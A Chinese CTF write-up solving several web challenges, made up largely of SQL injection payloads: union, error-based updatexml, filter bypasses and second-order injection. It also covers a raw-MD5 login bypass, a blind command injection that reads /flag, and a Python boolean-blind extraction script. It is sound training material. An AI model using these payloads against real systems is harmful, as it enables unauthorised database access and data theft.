第一周 sqlwp

[极客大挑战 2019]LoveSQL

再username输入1’,发现是单引号注入,看又几列

1' union select 1,2,3#

1' union select 1,2,database()#

1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#

l0ve1ysq1表,1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1'#

1' union select 1,2,group_concat(password)from geek.l0ve1ysq1#

[极客大挑战 2019]HardSQL

用万能密码不行,fuzz发现空格的很多形式都被过滤了,但是可以用()来绕过空格

username=admin'or(updatexml(1,concat(0x7e,(select(database()))),1))%23&password=1

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek')),1))%23&password=1

这里like也可以换成regexp

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like'geek')),1))%23&password=1

这里因为只有一个表,所以不改like也可以

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,password))from(geek.H4rDsq1))),1))%23&password=1

这里flag显示不全,那就用截取字符串的函数来看(可以用mid,substr,但是被过滤了,所以用left或者right)

username=admin'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30)),1))%23&password=1

[BJDCTF2020]Easy MD5

这个题试了半天还是没有用,那就看一下其他地方有没有东西,bp抓包看,

Hint: select * from 'admin' where password=md5($pass,true)

当md5(,true)这样的时候,为true则为原始 16 字符二进制格式,而我们输入ffifdyop,经过函数处理后,变为’or’6…..,这样的,前面的’与之前的闭合,而or之后的’又与之后的闭合,最后变为’’or’6…’,就绕过了。

之后是一个md5的绕过,就用数组绕过就行

a[]=1&b[]=2

z最后这个也是用数组绕过就行。

[RCTF2015]EasySQL

进去是一个登录和注册,先注册一个,发现又修改密码,想到二次注入,主要是写语句和引用语句,在注册页面试一试,

发现在username输入空格之类的会出现这个,被过滤了,or也被过滤了

发现是双引号注入,

注册的username:1"||(updatexml(1,concat(0x7e,(select(database()))),1))#

然后登录。改密码直接提交,就可以看到了

1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

Flag表的flag是假的,1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#

1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)#

这个应该是账号的第一个数据都是这样的,那么就要用正则去匹配,flag

1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp'^f')),1)#

再用截取字符串的函数去看其他的就行,但是常用的一些截取函数都被过滤了,看wp发现说是reverse函数来搞,1"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp'^f'))),1)#

login1

提示意思就是它的admin用户,我们可以根据数据库插入和查询的不同特性来达到注册的不是admin用户,却可以更改admin的密码为我们设置的密码。

注册账号,admin之后加几个空格,密码随便,

登录的时候用户名用admin就行,密码用注册的密码

login2

 

意思也就是说要密码和md5之后的密码一样,这里就是要用到union的特性,会创建一个临时表,

Username=1’ union select 1,’ 202cb962ac59075b964b07152d234b70’#password=123

这里union后面两个是因为查询语句也是username和password两个。

之后出现这样一个页面,加之题目说是一个命令执行,试了下ls之类的,没有用,猜想是无回显的,ls|sleep 5,发现确实执行了,
输入127.0.0.1;ls / > 1.txt ,>号前面的命令执行结果就会输出到1.txt上,从而可以看到发现flag文件,那就看看
127.0.0.1;cat /flag > 1.txt
 
 

sql注入

题目提示,是bool型注入,那就是要写一个脚本来方便一点,再输入admin为用户名时,密码报错,说明就是这个用户名,

import requests

url = "http://114.67.175.224:11142/index.php"

database = ""

for i in range(1, 32):

    for j in range(48, 128):

        sql = "admi'or((ascii(substr((database())from({0})))<>{1}))#'".format(i, j)

        data = {'username': sql, 'password': "123"}

        res = requests.post(url, data=data)

        if 'username does not exist!' in res.text:

                     database += chr(j)

                     print(database)

                     break

该语句看表admin,再看字段是password,那就可以直接看字段,因为没有其他字段,只有这一个,最后找到密码,是md5加密的,去网站解一下,

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值